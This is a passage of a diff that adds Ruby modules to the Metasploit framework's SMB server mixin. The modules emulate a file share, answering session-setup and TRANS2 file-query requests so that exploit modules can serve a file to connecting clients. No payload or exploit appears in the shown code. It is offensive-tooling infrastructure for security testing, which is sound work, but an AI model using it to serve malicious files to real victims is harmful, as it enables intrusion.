def send_session_setup_andx_res(c, opts = {})
|
||||
action = opts[:action] || 0
|
||||
andx_offset = opts[:andx_offset] || 0
|
||||
reserved = opts[:reserved] || 0
|
||||
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
data = opts[:data] || ''
|
||||
andx_command = opts[:andx_command] || nil
|
||||
|
||||
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = andx
|
||||
pkt['Payload'].v['Reserved1'] = reserved
|
||||
pkt['Payload'].v['AndXOffset'] = andx_offset
|
||||
pkt['Payload'].v['Action'] = action
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
if andx_command
|
||||
full_pkt = pkt.to_s + andx_command.to_s
|
||||
original_length = full_pkt[2, 2].unpack('n')[0]
|
||||
original_length = original_length + andx_command.to_s.length
|
||||
full_pkt[2, 2] = [original_length].pack('n')
|
||||
else
|
||||
full_pkt = pkt.to_s
|
||||
end
|
||||
|
||||
c.put(full_pkt)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,100 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
|
||||
|
||||
# Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of
|
||||
# server-side file system handling.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
|
||||
data_trans2.from_s(pkt['Payload'].v['SetupData'])
|
||||
|
||||
sub_command = data_trans2.v['SubCommand']
|
||||
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
|
||||
|
||||
case sub_command
|
||||
when CONST::TRANS2_QUERY_FILE_INFO
|
||||
return smb_cmd_trans2_query_file_information(c, parameters)
|
||||
when CONST::TRANS2_QUERY_PATH_INFO
|
||||
return smb_cmd_trans2_query_path_information(c, parameters)
|
||||
when CONST::TRANS2_FIND_FIRST2
|
||||
return smb_cmd_trans2_find_first2(c, parameters)
|
||||
else
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
|
||||
end
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_TRANSACTION2 response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response.
|
||||
# @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_trans2_res(c, parameters, data)
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT
|
||||
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
|
||||
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
|
||||
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
|
||||
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
|
||||
pkt['Payload'].v['DataCount'] = data.to_s.length
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
|
||||
pkt['Payload'].v['Payload'] =
|
||||
parameters.to_s +
|
||||
data.to_s
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
# Converts the path to ascii from unicode and normalizes.
|
||||
#
|
||||
# @param path [String] The path to normalize.
|
||||
# @return [String] The normalized path.
|
||||
def normalize_path(path)
|
||||
normalized = Rex::Text.to_ascii(path).downcase
|
||||
normalized.gsub!(/[\x00]*/, '') #delete padding
|
||||
normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
normalized
|
||||
end
|
||||
|
||||
# Expands a path with wildcards, and returns the set of matching files.
|
||||
#
|
||||
# @param path [String] the path to expand
|
||||
# @return [String] The matching file.
|
||||
# @todo It's a shortcut atm, make complete wildcard handling.
|
||||
# @todo return an Array of matching files.
|
||||
def smb_expand(path)
|
||||
search_path = path.gsub(/<\./, '*.') # manage wildcards
|
||||
extension = File.extname(file_name)
|
||||
if search_path == "#{path_name}*#{extension}"
|
||||
search_path = "#{path_name}#{file_name}"
|
||||
end
|
||||
|
||||
search_path
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
module FindFirst2
|
||||
|
||||
# Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a
|
||||
# directory or for a directory.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_find_first2(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
normalized_path = normalize_path(params.v['FileName'])
|
||||
search_path = smb_expand(normalized_path)
|
||||
|
||||
case loi
|
||||
when CONST::SMB_FIND_FILE_NAMES_INFO
|
||||
return smb_cmd_find_file_names_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
return smb_cmd_find_file_both_directory_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
return smb_cmd_find_file_full_directory_info(c, search_path)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,42 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
#@todo Check FID and no shortcut assuming the request always come for the valid FID
|
||||
module QueryFileInformation
|
||||
|
||||
# Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about
|
||||
# an specific file or directory, using its FID.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_query_file_information(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
fid = params.v['FID']
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
return smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
return smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
module QueryPathInformation
|
||||
|
||||
# Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about
|
||||
# an specific file or directory, using its path.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_query_path_information(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
file_name = normalize_path(params.v['FileName'])
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
return smb_cmd_trans_query_path_info_standard(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
return smb_cmd_trans_query_path_info_basic(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
|
||||
return smb_cmd_trans_query_path_info_network(c, file_name)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
require 'msf/core/exploit/smb/server/share/information_level/find'
|
||||
require 'msf/core/exploit/smb/server/share/information_level/query'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,229 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
module Find
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_both_directory_info(c, path)
|
||||
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = file_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
search = 1
|
||||
elsif path && path == path_name.downcase
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 0x100
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_file_both_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_names_info(c, path)
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
elsif path && path == path_name.downcase
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_file_names_info_res(c, { data: data })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_full_directory_info(c, path)
|
||||
if path && path.include?(file_name.downcase)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = file_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
|
||||
search = 0x100
|
||||
elsif path && path == path_name.downcase
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 1
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_full_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :search_count The number of entries returned by the search.
|
||||
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
|
||||
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO.
|
||||
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
|
||||
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_file_both_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO
|
||||
# information level.
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_file_names_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = 1
|
||||
trans2_params.v['EndOfSearch'] = 1
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :search_count The number of entries returned by the search.
|
||||
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
|
||||
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO.
|
||||
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
|
||||
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_full_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,216 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
module Query
|
||||
|
||||
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param fid [Fixnum] The file identifier which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
smb = @state[c]
|
||||
|
||||
if fid == smb[:file_id].to_i
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif fid.nil? || fid == 0 || fid == smb[:dir_id].to_i # empty fid
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param fid [Fixnum] The file identifier which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: 0,
|
||||
end_of_file: file_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
# @todo Delete elsif comment if testing proofs it as unnecessary
|
||||
def smb_cmd_trans_query_path_info_basic(c, path)
|
||||
if path && path.ends_with?(file_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
#elsif path && path.ends_with?(file_name + '.Local')
|
||||
#attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path == path_name.downcase
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_basic_res(c, { file_attributes: attrib })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_path_info_standard(c, path)
|
||||
if path && path.include?(file_name.downcase)
|
||||
attrib = 0 # File attributes => file
|
||||
elsif path && path == path_name.downcase
|
||||
attrib = 1 # File attributes => directory
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = 1 # File attributes => directory
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_standard_res(c, {
|
||||
allocation_size: 1048576,
|
||||
number_links: 1,
|
||||
delete_pending: 0,
|
||||
directory: attrib,
|
||||
end_of_file: file_contents.length
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_QUERY_PATH_INFORMATION transaction request with SMB_QUERY_FILE_NETWORK_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans_query_path_info_network(c, path)
|
||||
|
||||
if path && path.include?(file_name.downcase)
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
elsif path && path == path_name.downcase
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
elsif path.nil? || path.empty? || path == "\x00" # empty path
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_OBJECT_NAME_NOT_FOUND, true)
|
||||
end
|
||||
|
||||
send_info_network_res(c, {
|
||||
allocation_size: 1048576,
|
||||
end_of_file: file_contents.length,
|
||||
file_attributes: attrib
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_BASIC_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_basic_res(c, opts = {})
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
query_path_info = CONST::SMB_QUERY_FILE_BASIC_INFO_HDR.make_struct
|
||||
query_path_info.v['loCreationTime'] = lo
|
||||
query_path_info.v['hiCreationTime'] = hi
|
||||
query_path_info.v['loLastAccessTime'] = lo
|
||||
query_path_info.v['hiLastAccessTime'] = hi
|
||||
query_path_info.v['loLastWriteTime'] = lo
|
||||
query_path_info.v['hiLastWriteTime'] = hi
|
||||
query_path_info.v['loLastChangeTime'] = lo
|
||||
query_path_info.v['hiLastChangeTime'] = hi
|
||||
query_path_info.v['ExtFileAttributes'] = file_attributes
|
||||
|
||||
send_trans2_res(c, trans2_params, query_path_info)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_QUERY_PATH_INFORMATION response with SMB_QUERY_FILE_STANDARD_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :allocation_size The number of bytes that are allocated to the file.
|
||||
# @option opts [Fixnum] :number_links The number of hard links to the file.
|
||||
# @option opts [Fixnum] :delete_pending Indicates whether there is a delete action pending for the file.
|
||||
# @option opts [Fixnum] :directory Indicates whether the file is a directory.
|
||||
# @option opts [Fixnum] :end_of_file The offset from the start to the end of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_info_standard_res(c, opts = {})
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
number_links = opts[:number_links] || 0
|
||||
delete_pending = opts[:delete_pending] || 0
|
||||
directory = opts[:directory] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_QUERY_PATH_INFORMATION_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
|
||||
